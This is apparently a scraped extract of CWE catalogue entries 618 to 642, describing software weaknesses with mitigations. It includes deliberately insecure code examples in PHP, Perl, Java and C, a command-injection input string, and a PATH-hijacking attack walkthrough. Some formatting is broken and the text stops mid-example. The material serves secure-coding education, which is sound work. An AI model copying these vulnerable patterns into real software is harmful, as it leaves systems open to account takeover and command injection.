The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. ## CWE-618: Exposed Unsafe ActiveX Method

<b>Weakness ID</b> : 618	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

An ActiveX control is intended for use in a web browser, but it exposes dangerous methods that perform actions that are outside of the browser's security model (e.g. the zone or domain).

### Extended Description

ActiveX controls can exercise far greater control over the operating system than typical Java or javascript. Exposed methods can be subject to various vulnerabilities, depending on the implemented behaviors of those methods, and whether input validation is performed on the provided arguments. If there is no integrity checking or origin validation, this method could be invoked by attackers.

## CWE-619: Dangling Database Cursor ('Cursor Injection')

**Weakness ID** : 619

**Status**: Incomplete

**Structure** : Simple

**Abstraction** : Base

### Description

If a database cursor is not closed properly, then it could become accessible to other users while retaining the same privileges that were originally assigned, leaving the cursor "dangling."

### Extended Description

For example, an improper dangling cursor could arise from unhandled exceptions. The impact of the issue depends on the cursor's role, but SQL injection attacks are commonly possible.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-620: Unverified Password Change

Weakness ID : 620

Status: Draft

Structure : Simple

Abstraction : Base

### Description

When setting a new password for a user, the product does not require knowledge of the original password, or using another form of authentication.

### Extended Description

This could be used by an attacker to change passwords for another user, thus gaining the privileges associated with that user.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Resultant :

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity	

### Potential Mitigations

#### Phase: Architecture and Design

When prompting for a password change, force the user to provide the original password in addition to the new password.

#### Phase: Architecture and Design

Do not use "forgotten password" functionality. But if you must, ensure that you are only providing information to the actual user, e.g. by using an email address or challenge question that the legitimate user already provided in the past; do not allow the current user to change this identity information until the correct password has been provided.

### Demonstrative Examples

#### Example 1:

This code changes a user's password.

*Example Language: PHP*

*(bad)*

```
$user = $_GET['user'];
$pass = $_GET['pass'];
$checkpass = $_GET['checkpass'];
if ($pass == $checkpass) {
    SetUserPassword($user, $pass);
}
```

While the code confirms that the requesting user typed the same new password twice, it does not confirm that the user requesting the password change is the same user whose password will be changed. An attacker can request a change of another user's password and gain control of the victim's account.

### Observed Examples

## CWE-621: Variable Extraction Error

<b>Weakness ID</b> : 621	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The product uses external input to determine the names of variables into which information is extracted, without verifying that the names of the specified variables are valid. This could cause the program to overwrite unintended variables.

### Extended Description

For example, in PHP, extraction can be used to provide functionality similar to `register_globals`, a dangerous functionality that is frequently disabled in production systems. Calling `extract()` or `import_request_variables()` without the proper arguments could allow arbitrary global variables to be overwritten, including superglobals.

Similar functionality is possible in other interpreted languages, including custom languages.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data  <i>An attacker could modify sensitive data or program variables.</i>	

### Potential Mitigations

#### Phase: Implementation

*Strategy = Input Validation*

Use allowlists of variable names that can be extracted.

#### Phase: Implementation

Consider refactoring your code to avoid extraction routines altogether.

#### Phase: Implementation

In PHP, call `extract()` with options such as `EXTR_SKIP` and `EXTR_PREFIX_ALL`; call `import_request_variables()` with a prefix argument. Note that these capabilities are not present in all PHP versions.

### Demonstrative Examples

#### Example 1:

This code uses the credentials sent in a POST request to login a user.

*Example Language: PHP*

*(bad)*

```
//Log user in, and set $isAdmin to true if user is an administrator
function login($user,$pass){
    $query = buildQuery($user,$pass);
    mysql_query($query);
    if(getUserRole($user) == "Admin"){
        $isAdmin = true;
    }
}
$isAdmin = false;
extract($_POST);
login(mysql_real_escape_string($user),mysql_real_escape_string($pass));
```

The call to `extract()` will overwrite the existing values of any variables defined previously, in this case `$isAdmin`. An attacker can send a POST request with an unexpected third value "isAdmin" equal to "true", thus gaining Admin privileges.

## CWE-622: Improper Validation of Function Hook Arguments

Weakness ID : 622

Status: Draft

Structure : Simple

Abstraction : Variant

## Description

The product adds hooks to user-accessible API functions, but it does not properly validate the arguments. This could lead to resultant vulnerabilities.

## Extended Description

Such hooks can be used in defensive software that runs with privileges, such as anti-virus or firewall, which hooks kernel calls. When the arguments are not validated, they could be used to bypass the protection scheme or attack the product itself.

## CWE-623: Unsafe ActiveX Control Marked Safe For Scripting

<b>Weakness ID</b> : 623	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

### Description

An ActiveX control is intended for restricted use, but it has been marked as safe-for-scripting.

## CWE-624: Executable Regular Expression Error

<b>Weakness ID</b> : 624	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

## Description

The product uses a regular expression that either (1) contains an executable component with user-controlled inputs, or (2) allows a user to enable execution by inserting pattern modifiers.

## Extended Description

Case (2) is possible in the PHP preg\_replace() function, and possibly in other languages when a user-controlled input is inserted into a string that is later parsed as a regular expression.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. ## CWE-625: Permissive Regular Expression

Weakness ID : 625

Status: Draft

Structure : Simple

Abstraction : Base

### Description

The product uses a regular expression that does not sufficiently restrict the set of allowed values.

### Extended Description

This effectively causes the regexp to accept substrings that match the pattern, which produces a partial comparison to the target. In some cases, this can lead to other weaknesses. Common errors include:

- not identifying the beginning and end of the target string
- using wildcards instead of acceptable character ranges
- others

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

MemberOf		19	Data Processing Errors	1973

### Weakness Ordinalities

**Primary :**

### Applicable Platforms

**Language :** Perl (*Prevalence = Undetermined*)

**Language :** PHP (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

### Potential Mitigations

#### Phase: Implementation

When applicable, ensure that the regular expression marks beginning and ending string patterns, such as `"/^string$/"` for Perl.

### Demonstrative Examples

#### Example 1:

The following code takes phone numbers as input, and uses a regular expression to reject invalid phone numbers.

*Example Language: Perl*

*(bad)*

```
$phone = GetPhoneNumber();
if ($phone =~ /\d+\d+/) {
    # looks like it only has hyphens and digits
    system("lookup-phone $phone");
}
else {
    error("malformed number!");
}
```

An attacker could provide an argument such as `": ls -l ; echo 123-456"`. This would pass the check, since `"123-456"` is sufficient to match the `"\d+\d+"` portion of the regular expression.

### Observed Examples

## CWE-626: Null Byte Interaction Error (Poison Null Byte)

**Weakness ID** : 626

**Status**: Draft

**Structure** : Simple

**Abstraction** : Variant

### Description

The product does not properly handle null bytes or NUL characters when passing data between different representations or components.

### Extended Description

A null byte (NUL character) can have different meanings across representations or languages. For example, it is a string terminator in standard C libraries, but Perl and PHP strings do not treat it as a terminator. When two representations are crossed - such as when Perl or PHP invokes underlying C functionality - this can produce an interaction error with unexpected results. Similar issues have been reported for ASP. Other interpreters written in C might also be affected.

The poison null byte is frequently useful in path traversal attacks by terminating hard-coded extensions that are added to a filename. It can play a role in regular expression processing in PHP.

## Notes

### Terminology

Current usage of "poison null byte" is typically related to this C/Perl/PHP interaction error, but the original term in 1998 was applied to an off-by-one buffer overflow involving a null byte.

### Research Gap

There are not many CVE examples, because the poison NULL byte is a design limitation, which typically is not included in CVE by itself. It is typically used as a facilitator manipulation to widen the scope of potential attacks against other vulnerabilities.

## CWE-627: Dynamic Variable Evaluation

**Weakness ID** : 627

**Status**: Incomplete

**Structure** : Simple

**Abstraction** : Base

### Description

In a language where the user can influence the name of a variable at runtime, if the variable names are not controlled, an attacker can read or write to arbitrary variables, or access arbitrary functions.

### Extended Description

The resultant vulnerabilities depend on the behavior of the application, both at the crossover point and in any control/data flow that is reachable by the related variables or functions.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

### Weakness Ordinalities

**Primary** :

### Applicable Platforms

**Language** : PHP (Prevalence = Undetermined)

**Language** : Perl (Prevalence = Undetermined)

### Background Details

Many interpreted languages support the use of a "\$\$varname" construct to set a variable whose name is specified by the \$varname variable. In PHP, these are referred to as "variable variables." Functions might also be invoked using similar syntax, such as \$\$funcname(arg1, arg2).

### Alternate Terms

**Dynamic evaluation :**

**Common Consequences**

Scope	Impact	Likelihood
Confidentiality	Modify Application Data	
Integrity	Execute Unauthorized Code or Commands	
Availability	<i>An attacker could gain unauthorized access to internal program variables and execute arbitrary code.</i>	

**Potential Mitigations**

**Phase: Implementation**

*Strategy = Refactoring*

Refactor the code to avoid dynamic variable evaluation whenever possible.

**Phase: Implementation**

*Strategy = Input Validation*

Use only allowlists of acceptable variable or function names.

**Phase: Implementation**

For function names, ensure that you are only calling functions that accept the proper number of arguments, to avoid unexpected null arguments.

## CWE-628: Function Call with Incorrectly Specified Arguments

**Weakness ID** : 628

**Status**: Draft

**Structure** : Simple

**Abstraction** : Base

### Description

The product calls a function, procedure, or routine with arguments that are not correctly specified, leading to always-incorrect behavior and resultant weaknesses.

### Extended Description

There are multiple ways in which this weakness can be introduced, including:

- the wrong variable or reference;
- an incorrect number of arguments;
- incorrect order of arguments;
- wrong type of arguments; or
- wrong value.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### Weakness Ordinalities

**Primary** : This is usually primary to other weaknesses, but it can be resultant if the function's API or function prototype changes.

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity  <i>This weakness can cause unintended behavior and can lead to additional weaknesses such as allowing an attacker to gain unintended access to system resources.</i>	

### Detection Methods

#### Other

Since these bugs typically introduce incorrect behavior that is obvious to users, they are found quickly, unless they occur in rarely-tested code paths. Managing the correct number of arguments can be made more difficult in cases where format strings are used, or when variable numbers of arguments are supported.

### Potential Mitigations

#### Phase: Build and Compilation

Once found, these issues are easy to fix. Use code inspection tools and relevant compiler features to identify potential violations. Pay special attention to code that is not likely to be exercised heavily during QA.

#### Phase: Architecture and Design

Make sure your API's are stable before you use them in production code.

### Demonstrative Examples

#### Example 1:

The following PHP method authenticates a user given a username/password combination but is called with the parameters in reverse order.

*Example Language: PHP*

*(bad)*

```
function authenticate($username, $password) {
    // authenticate user
    ...
}
authenticate($_POST['password'], $_POST['username']);
```

#### Example 2:

This Perl code intends to record whether a user authenticated successfully or not, and to exit if the user fails to authenticate. However, when it calls ReportAuth(), the third argument is specified as 0 instead of 1, so it does not exit.

*Example Language: Perl*

*(bad)*

```
sub ReportAuth {
    my ($username, $result, $fatal) = @_;
    PrintLog("auth: username=%s, result=%d", $username, $result);
    if (($result ne "success") && $fatal) {
        die "Failed!\n";
    }
}
sub PrivilegedFunc
{
    my $result = CheckAuth($username);
    ReportAuth($username, $result, 0);
    DoReallyImportantStuff();
}
```

#### Example 3:

In the following Java snippet, the `accessGranted()` method is accidentally called with the static `ADMIN_ROLES` array rather than the user roles.

Example Language: Java

(bad)

```
private static final String[] ADMIN_ROLES = ...;
public boolean void accessGranted(String resource, String user) {
    String[] userRoles = getUserRoles(user);
    return accessGranted(resource, ADMIN_ROLES);
}
private boolean void accessGranted(String resource, String[] userRoles) {
    // grant or deny access based on user roles
    ...
}
```

## Observed Examples

## CWE-636: Not Failing Securely ('Failing Open')

Weakness ID : 636

Status: Draft

**Structure** : Simple  
**Abstraction** : Class

### Description

When the product encounters an error condition or failure, its design requires it to fall back to a state that is less secure than other options that are available, such as selecting the weakest encryption algorithm or using the most permissive access control restrictions.

### Extended Description

By entering a less secure state, the product inherits the weaknesses associated with that state, making it easier to compromise. At the least, it causes administrators to have a false sense of security. This weakness typically occurs as a result of wanting to "fail functional" to minimize administration and support costs, instead of "failing safe."

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### Weakness Ordinalities

**Primary** :

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Alternate Terms

**Failing Open** :

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism  <i>Intended access restrictions can be bypassed, which is often contradictory to what the product's administrator expects.</i>	

### Potential Mitigations

**Phase: Architecture and Design**

Subdivide and allocate resources and components so that a failure in one part does not affect the entire product.

### Demonstrative Examples

**Example 1:**

Switches may revert their functionality to that of hubs when the table used to map ARP information to the switch interface overflows, such as when under a spoofing attack. This results in traffic being broadcast to an eavesdropper, instead of being sent only on the relevant switch interface. To mitigate this type of problem, the developer could limit the number of ARP entries that can be recorded for a given switch interface, while other interfaces may keep functioning normally.

Configuration options can be provided on the appropriate actions to be taken in case of a detected failure, but safe defaults should be used.

### Observed Examples

Reference	Description
<b>CVE-2007-5277</b>	The failure of connection attempts in a web browser resets DNS pin restrictions. An attacker can then bypass the same origin policy by rebinding a domain name to a different IP address. This was an attempt to "fail functional." <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5277">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5277</a>
<b>CVE-2006-4407</b>	Incorrect prioritization leads to the selection of a weaker cipher. ### Notes

#### Research Gap

Since design issues are hard to fix, they are rarely publicly reported, so there are few CVE examples of this problem as of January 2008. Most publicly reported issues occur as the result of an implementation error instead of design, such as CVE-2005-3177 (Improper handling of large numbers of resources) or CVE-2005-2969 (inadvertently disabling a verification step, leading to selection of a weaker protocol).

## CWE-637: Unnecessary Complexity in Protection Mechanism (Not Using 'Economy of Mechanism')

Weakness ID : 637

Status: Draft

Structure : Simple

Abstraction : Class

### Description

The software uses a more complex mechanism than necessary, which could lead to resultant weaknesses when the mechanism is not correctly understood, modeled, configured, implemented, or used.

## Extended Description

Security mechanisms should be as simple as possible. Complex security mechanisms may engender partial implementations and compatibility problems, with resulting mismatches in assumptions and implemented security. A corollary of this principle is that data specifications should be as simple as possible, because complex data specifications result in complex validation code. Complex tasks and systems may also need to be guarded by complex security checks, so simple systems should be preferred.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## Alternate Terms

**Unnecessary Complexity :**

## Common Consequences

Scope	Impact	Likelihood
Other	Other	

## Potential Mitigations

**Phase: Architecture and Design**

Avoid complex security mechanisms when simpler ones would meet requirements. Avoid complex data models, and unnecessarily complex operations. Adopt architectures that provide guarantees, simplify understanding through elegance and abstraction, and that can be implemented similarly. Modularize, isolate and do not trust complex code, and apply other secure programming principles on these modules (e.g., least privilege) to mitigate vulnerabilities.

## Demonstrative Examples

**Example 1:**

The IPSEC specification is complex, which resulted in bugs, partial implementations, and incompatibilities between vendors.

**Example 2:**

HTTP Request Smuggling (CWE-444) attacks are feasible because there are not stringent requirements for how illegal or inconsistent HTTP headers should be handled. This can lead to inconsistent implementations in which a proxy or firewall interprets the same data stream as a different set of requests than the end points in that stream.

## CWE-638: Not Using Complete Mediation

Weakness ID : 638

Status: Draft

Structure : Simple

Abstraction : Class

### Description

The software does not perform access checks on a resource every time the resource is accessed by an entity, which can create resultant weaknesses if that entity's rights or privileges change over time.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. Other	Other	
<p><i>A user might retain access to a critical resource even after privileges have been revoked, possibly allowing access to privileged functionality or sensitive information, depending on the role of the resource.</i></p>		

## Potential Mitigations

### Phase: Architecture and Design

Invalidate cached privileges, file handles or descriptors, or other access credentials whenever identities, processes, policies, roles, capabilities or permissions change. Perform complete authentication checks before accepting, caching and reusing data, dynamic content and code (scripts). Avoid caching access control decisions as much as possible.

### Phase: Architecture and Design

Identify all possible code paths that might access sensitive resources. If possible, create and use a single interface that performs the access checks, and develop code standards that require use of this interface.

## Demonstrative Examples

### Example 1:

When executable library files are used on web servers, which is common in PHP applications, the developer might perform an access check in any user-facing executable, and omit the access check from the library file itself. By directly requesting the library file (CWE-425), an attacker can bypass this access check.

### Example 2:

When a developer begins to implement input validation for a web application, often the validation is performed in each area of the code that uses externally-controlled input. In complex applications with many inputs, the developer often misses a parameter here or a cookie there. One frequently-applied solution is to centralize all input validation, store these validated inputs in a separate data structure, and require that all access of those inputs must be through that data structure. An alternate approach would be to use an external input validation framework such as Struts, which performs the validation before the inputs are ever processed by the code.

## Observed Examples

## CWE-639: Authorization Bypass Through User-Controlled Key

<b>Weakness ID</b> : 639	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.

### Extended Description

Retrieval of a user record occurs in the system based on some key value that is under user control. The key would typically identify a user-related record stored in the system and would be used to lookup that record for presentation to the user. It is likely that an attacker would have to be an authenticated user in the system. However, the authorization process would not properly check the data access operation to ensure that the authenticated user performing the operation has sufficient entitlements to perform the requested data access, hence bypassing any other authorization checks present in the system.

For example, attackers can look at places where user specific data is retrieved (e.g. search screens) and determine whether the key for the item being looked up is controllable externally. The key may be a hidden field in the HTML form field, might be passed as a URL parameter or as an unencrypted cookie variable, then in each of these cases it will be possible to tamper with the key value.

One manifestation of this weakness is when a system uses sequential or otherwise easily-guessable session IDs that would allow one user to easily switch to another user's session and read/modify their data.

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Alternate Terms

**Insecure Direct Object Reference / IDOR** : The "Insecure Direct Object Reference" term, as described in the OWASP Top Ten, is broader than this CWE because it also covers path traversal (CWE-22). Within the context of vulnerability theory, there is a similarity between the OWASP concept and CWE-706: Use of Incorrectly-Resolved Name or Reference.

**Broken Object Level Authorization / BOLA** : BOLA is used in the 2019 OWASP API Security Top 10 and is said to be the same as IDOR.

**Horizontal Authorization** : "Horizontal Authorization" is used to describe situations in which two users have the same privilege level, but must be prevented from accessing each other's resources. This is fairly common when using key-based access to resources in a multi-user context.

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism <i>Access control checks for specific user data or functionality can be bypassed.</i>	
Access Control	Gain Privileges or Assume Identity <i>Horizontal escalation of privilege is possible (one user can view/modify information of another user).</i>	
Access Control	Gain Privileges or Assume Identity <i>Vertical escalation of privilege is possible if the user-controlled key is actually a flag that indicates administrator status, allowing the attacker to gain administrative access.</i>	

### Potential Mitigations

**Phase: Architecture and Design**

For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.

**Phase: Architecture and Design****Phase: Implementation**

Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.

**Phase: Architecture and Design**

Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.

**CWE-640: Weak Password Recovery Mechanism for Forgotten Password****Weakness ID** : 640**Status**: Incomplete**Structure** : Simple**Abstraction** : Base**Description**

The software contains a mechanism for users to recover or change their passwords without knowing the original password, but the mechanism is weak.

**Extended Description**

It is common for an application to have a mechanism that provides a means for a user to gain access to their account in the event they forget their password. Very often the password recovery mechanism is weak, which has the effect of making it more likely that it would be possible for a person other than the legitimate system user to gain access to that user's account. Weak password recovery schemes completely undermine a strong password authentication scheme.

This weakness may be that the security question is too easy to guess or find an answer to (e.g. because the question is too common, or the answers can be found using social media). Or there might be an implementation weakness in the password recovery mechanism code that may for instance trick the system into e-mailing the new password to an e-mail account other than that of the user. There might be no throttling done on the rate of password resets so that a legitimate

user can be denied service by an attacker if an attacker tries to recover their password in a rapid succession. The system may send the original password to the user rather than generating a new temporary password. In summary, password recovery functionality, if not carefully designed and implemented can often become the system's weakest link that can be misused in a way that would allow an attacker to gain unauthorized access to the system.

## Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity <i>An attacker could gain unauthorized access to the system by retrieving legitimate user's authentication credentials.</i>

Integrity Other	Other <i>The system's security functionality is turned against the system by the attacker.</i>	

## Potential Mitigations

### Phase: Architecture and Design

Make sure that all input supplied by the user to the password recovery mechanism is thoroughly filtered and validated.

**Phase: Architecture and Design**

Do not use standard weak security questions and use several security questions.

**Phase: Architecture and Design**

Make sure that there is throttling on the number of incorrect answers to a security question.  
Disable the password recovery functionality after a certain (small) number of incorrect guesses.

**Phase: Architecture and Design**

Require that the user properly answers the security question prior to resetting their password and sending the new password to the e-mail address of record.

**Phase: Architecture and Design**

Never allow the user to control what e-mail address the new password will be sent to in the password recovery mechanism.

**Phase: Architecture and Design**

Assign a new temporary password rather than revealing the original password.

**Demonstrative Examples****Example 1:**

A famous example of this type of weakness being exploited is the eBay attack. eBay always displays the user id of the highest bidder. In the final minutes of the auction, one of the bidders could try to log in as the highest bidder three times. After three incorrect log in attempts, eBay password throttling would kick in and lock out the highest bidder's account for some time. An attacker could then make their own bid and their victim would not have a chance to place the counter bid because they would be locked out. Thus an attacker could win the auction.

**Notes****Maintenance**

This entry might be reclassified as a category or "loose composite," since it lists multiple specific errors that can make the mechanism weak. However, under view 1000, it could be a weakness under protection mechanism failure, although it is different from most PMF issues since it is related to a feature that is designed to bypass a protection mechanism (specifically, the lack of knowledge of a password).

## CWE-641: Improper Restriction of Names for Files and Other Resources

<b>Weakness ID</b> : 641	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The application constructs the name of a file or other resource using input from an upstream component, but it does not restrict or incorrectly restricts the resulting name.

### Extended Description

This may produce resultant weaknesses. For instance, if the names of these resources contain scripting characters, it is possible that a script may get executed in the client's browser if the application ever displays the name of the resource on a dynamically generated web page. Alternately, if the resources are consumed by some application parser, a specially crafted name can exploit some vulnerability internal to the parser, potentially resulting in execution of arbitrary code on the server machine. The problems will vary based on the context of usage of such malformed resource names and whether vulnerabilities are present in or assumptions are made by the targeted technology that would make code execution possible.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## Potential Mitigations

### Phase: Architecture and Design

Do not allow users to control names of resources used on the server side.

### Phase: Architecture and Design

Perform allowlist input validation at entry points and also before consuming the resources. Reject bad file names rather than trying to cleanse them.

### Phase: Architecture and Design

Make sure that technologies consuming the resources are not vulnerable (e.g. buffer overflow, format string, etc.) in a way that would allow code execution if the name of the resource is malformed.

## CWE-642: External Control of Critical State Data

<b>Weakness ID</b> : 642	<b>Status:</b> Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Class	

### Description

The software stores security-critical state information about its users, or the software itself, in a location that is accessible to unauthorized actors.

### Extended Description

If an attacker can modify the state information without detection, then it could be used to perform unauthorized actions or access unexpected resources, since the application programmer does not expect that the state can be changed.

State information can be stored in various locations such as a cookie, in a hidden web form field, input parameter or argument, an environment variable, a database record, within a settings file, etc. All of these locations have the potential to be modified by an attacker. When this state information is used to control security or determine resource usage, then it may create a vulnerability. For

example, an application may perform authentication, then save the state in an "authenticated=true" cookie. An attacker may simply create this cookie in order to bypass the authentication.

## Likelihood Of Exploit

High

## Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity  <i>An attacker could potentially modify the state in malicious ways. If the state is related to the privileges or level of authentication that the user has, then state modification might allow the user to bypass authentication or elevate privileges.</i>	
Confidentiality	Read Application Data  <i>The state variables may contain sensitive information that should not be known by the client.</i>	
Availability	DoS: Crash, Exit, or Restart  <i>By modifying state variables, the attacker could violate the application's expectations for the contents of the state, leading to a denial of service due to an unexpected error condition.</i>	

## Potential Mitigations

### Phase: Architecture and Design

Understand all the potential locations that are accessible to attackers. For example, some programmers assume that cookies and hidden form fields cannot be modified by an attacker, or

they may not consider that environment variables can be modified before a privileged program is invoked.

**Phase: Architecture and Design**

*Strategy = Attack Surface Reduction*

Store state information and sensitive data on the server side only. Ensure that the system definitively and unambiguously keeps track of its own state and user state and has rules defined for legitimate state transitions. Do not allow any application user to affect state directly in any way other than through legitimate actions leading to state transitions. If information must be stored on the client, do not do so without encryption and integrity checking, or otherwise having a mechanism on the server side to catch tampering. Use a message authentication code (MAC) algorithm, such as Hash Message Authentication Code (HMAC) [REF-529]. Apply this against the state or sensitive data that you has to be exposed, which can guarantee the integrity of the data - i.e., that the data has not been modified. Ensure that a strong hash function is used (CWE-328).

**Phase: Architecture and Design**

Store state information on the server side only. Ensure that the system definitively and unambiguously keeps track of its own state and user state and has rules defined for legitimate state transitions. Do not allow any application user to affect state directly in any way other than through legitimate actions leading to state transitions.

**Phase: Architecture and Design**

*Strategy = Libraries or Frameworks*

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. With a stateless protocol such as HTTP, use some frameworks can maintain the state for you. Examples include ASP.NET View State and the OWASP ESAPI Session Management feature. Be careful of language features that provide state support, since these might be provided as a convenience to the programmer and may not be considering security.

**Phase: Architecture and Design**

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

**Phase: Operation****Phase: Implementation**

*Strategy = Environment Hardening*

When using PHP, configure the application so that it does not use `register_globals`. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a `register_globals` emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

**Phase: Testing**

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

**Phase: Testing**

Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The

software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

### Phase: Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

## Demonstrative Examples

### Example 1:

In the following example, an authentication flag is read from a browser cookie, thus allowing for external control of user state data.

*Example Language: Java*

*(bad)*

```
Cookie[] cookies = request.getCookies();
for (int i = 0; i < cookies.length; i++) {
    Cookie c = cookies[i];
    if (c.getName().equals("authenticated") && Boolean.TRUE.equals(c.getValue())) {
        authenticated = true;
    }
}
```

### Example 2:

The following code uses input from an HTTP request to create a file name. The programmer has not considered the possibility that an attacker could provide a file name such as "../tomcat/conf/server.xml", which causes the application to delete one of its own configuration files (CWE-22).

*Example Language: Java*

*(bad)*

```
String rName = request.getParameter("reportName");
File rFile = new File("/usr/local/apfr/reports/" + rName);
...
rFile.delete();
```

### Example 3:

The following code uses input from a configuration file to determine which file to open and echo back to the user. If the program runs with privileges and malicious users can change the configuration file, they can use the program to read any file on the system that ends with the extension .txt.

*Example Language: Java*

*(bad)*

```
fis = new FileInputStream(cfg.getProperty("sub")+ ".txt");
amt = fis.read(arr);
out.println(arr);
```

### Example 4:

This program is intended to execute a command that lists the contents of a restricted directory, then performs other actions. Assume that it runs with setuid privileges in order to bypass the permissions check by the operating system.

*Example Language: C*

*(bad)*

```
#define DIR "/restricted/directory"
char cmd[500];
sprintf(cmd, "ls -l %480s", DIR);
/* Raise privileges to those needed for accessing DIR. */
```

```
RaisePrivileges(...);
system(cmd);
DropPrivileges(...);
...
```

This code may look harmless at first, since both the directory and the command are set to fixed values that the attacker can't control. The attacker can only see the contents for DIR, which is the intended program behavior. Finally, the programmer is also careful to limit the code that executes with raised privileges.

However, because the program does not modify the PATH environment variable, the following attack would work:

*Example Language:*

*(attack)*

- The user sets the PATH to reference a directory under the attacker's control, such as `"/my/dir/"`.
- The attacker creates a malicious program called `"ls"`, and puts that program in `/my/dir`
- The user executes the program.
- When `system()` is executed, the shell consults the PATH to find the `ls` program
- The program finds the attacker's malicious program, `"/my/dir/ls"`. It doesn't find `"/bin/ls"` because PATH does not contain `"/bin/"`.
- The program executes the attacker's malicious program with the raised privileges.

### Example 5:

The following code segment implements a basic server that uses the `"ls"` program to perform a directory listing of the directory that is listed in the `"HOMEDIR"` environment variable. The code intends to allow the user to specify an alternate `"LANG"` environment variable. This causes `"ls"` to customize its output based on a given language, which is an important capability when supporting internationalization.

*Example Language: Perl*

*(bad)*

```
$ENV{"HOMEDIR"} = "/home/mydir/public/";
my $stream = AcceptUntrustedInputStream();
while (<$stream>) {
    chomp;
    if (/^ENV ([\w_]+) (.*)/) {
        $ENV{$1} = $2;
    }
    elsif (/^QUIT/) { ... }
    elsif (/^LIST/) {
